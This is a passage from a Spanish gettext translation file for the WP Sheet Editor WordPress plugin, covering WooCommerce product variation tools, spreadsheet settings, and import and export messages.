                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

